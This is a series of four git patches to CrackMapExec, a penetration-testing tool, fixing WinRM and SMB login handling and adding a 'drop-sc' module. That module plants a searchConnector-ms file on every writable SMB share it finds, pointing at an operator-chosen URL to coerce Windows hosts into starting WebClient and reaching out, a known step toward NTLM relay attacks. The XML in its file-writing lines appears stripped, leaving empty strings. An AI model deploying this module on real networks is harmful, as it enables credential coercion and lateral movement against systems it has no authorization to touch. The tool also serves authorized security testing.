From a4c7680fc6628e88152e687b6341f1d72596d17f Mon Sep 17 00:00:00 2001 From: Dliv3 Date: Tue, 9 Nov 2021 20:19:06 +0800 Subject: [PATCH 1/4] Fix winrm login failed --- cme/protocols/winrm.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index c43b94d6..5d4c803d 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -135,7 +135,7 @@ class winrm(connection): log.addFilter(SuppressFilter()) self.conn = Client(self.host, auth='ntlm', - username=username, + username=u'{}\\{}'.format(domain, username), password=password, ssl=False) @@ -182,7 +182,7 @@ class winrm(connection): if nthash: self.nthash = nthash self.conn = Client(self.host, auth='ntlm', - username=username, + username=u'{}\\{}'.format(domain, username), password=ntlm_hash, ssl=False) From d56199bb3549f7dd703c47ec5a4d473fdb03c13a Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 3 Dec 2021 17:00:14 +0100 Subject: [PATCH 2/4] added drop-sc module --- cme/modules/drop_searchConnector-ms.py | 80 ++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 cme/modules/drop_searchConnector-ms.py diff --git a/cme/modules/drop_searchConnector-ms.py b/cme/modules/drop_searchConnector-ms.py new file mode 100644 index 00000000..8e66734f --- /dev/null +++ b/cme/modules/drop_searchConnector-ms.py @@ -0,0 +1,80 @@ +import ntpath + +class CMEModule: + ''' + Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. + https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ + Module by @zblurx + ''' + + name = 'drop-sc' + description = 'Drop a searchConnector-ms file on each writable share' + supported_protocols = ["smb"] + opsec_safe= False + multiple_hosts = True + + def options(self, context, module_options): + ''' + Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. + https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ + Module by @zblurx + URL URL in the searchConnector-ms file, default https://rickroll + CLEANUP Cleanup (choices: True or False) + SHARE Specify a share to target + FILENAME Specify the filename used WITHOUT the extension (it's automatically added). default is "Documents" + ''' + self.cleanup = False + if 'CLEANUP' in module_options: + self.cleanup = bool(module_options['CLEANUP']) + + self.url = 'https://rickroll' + if 'URL' in module_options: + self.url = str(module_options['URL']) + + self.sharename = '' + if 'SHARE' in module_options: + self.sharename = str(module_options['SHARE']) + + self.filename = 'Documents' + if 'FILENAME' in module_options: + self.filename = str(module_options['FILENAME']) + + self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename)) + if not self.cleanup: + self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename) + scfile = open(self.scfile_path, 'w') + scfile.truncate(0) + scfile.write('') + scfile.write('') + scfile.write('Microsoft Outlook') + scfile.write('false') + scfile.write('true') + scfile.write('{}/0001.ico'.format(self.url)) + scfile.write('') + scfile.write('{91475FE5-586B-4EBA-8D75-D17434B8CDF6}') + scfile.write('') + scfile.write('') + scfile.write('{}'.format(self.url)) + scfile.write('') + scfile.write('') + scfile.close() + + def on_login(self, context, connection): + shares = connection.shares() + for share in shares: + if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']): + context.log.success('Found writable share: {}'.format(share['name'])) + if not self.cleanup: + with open(self.scfile_path, 'rb') as scfile: + try: + connection.conn.putFile(share['name'], self.file_path, scfile.read) + context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) + except Exception as e: + context.log.error('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e)) + else: + try: + connection.conn.deleteFile(share['name'], self.file_path) + context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) + except Exception as e: + context.log.error('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e)) + From 89f3a572bbcf13d5d69e6b7c3f1f1d9bf1bef92d Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 3 Dec 2021 17:06:51 +0100 Subject: [PATCH 3/4] FILENAME option description modified --- cme/modules/drop_searchConnector-ms.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/modules/drop_searchConnector-ms.py b/cme/modules/drop_searchConnector-ms.py index 8e66734f..4ab6a114 100644 --- a/cme/modules/drop_searchConnector-ms.py +++ b/cme/modules/drop_searchConnector-ms.py @@ -21,7 +21,7 @@ class CMEModule: URL URL in the searchConnector-ms file, default https://rickroll CLEANUP Cleanup (choices: True or False) SHARE Specify a share to target - FILENAME Specify the filename used WITHOUT the extension (it's automatically added). default is "Documents" + FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents" ''' self.cleanup = False if 'CLEANUP' in module_options: From 2628a427d82aa65cb44dbdebdaad1b73faa09db6 Mon Sep 17 00:00:00 2001 From: brightio <65655412+brightio@users.noreply.github.com> Date: Sat, 11 Dec 2021 14:57:37 +0100 Subject: [PATCH 4/4] Fix a number of unhandled expections in cme/protocols/smb.py --- cme/protocols/smb.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 3b3ba285..49afe287 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -7,7 +7,7 @@ from io import StringIO from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes -from impacket.nmb import NetBIOSError +from impacket.nmb import NetBIOSError, NetBIOSTimeout from impacket.dcerpc.v5 import transport, lsat, lsad from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.transport import DCERPCTransportFactory @@ -338,6 +338,9 @@ class smb(connection): return False if not self.args.continue_on_success: return True + except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: + self.logger.error('Connection Error: {}'.format(e)) + return False def hash_login(self, domain, username, ntlm_hash): lmhash = '' @@ -393,6 +396,9 @@ class smb(connection): return False if not self.args.continue_on_success: return True + except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: + self.logger.error('Connection Error: {}'.format(e)) + return False def create_smbv1_conn(self): try: @@ -578,7 +584,7 @@ class smb(connection): perms = share['access'] self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark)) - except SessionError as e: + except (SessionError, UnicodeEncodeError) as e: self.logger.error('Error enumerating shares: {}'.format(e)) except Exception as e: error = e.getErrorString()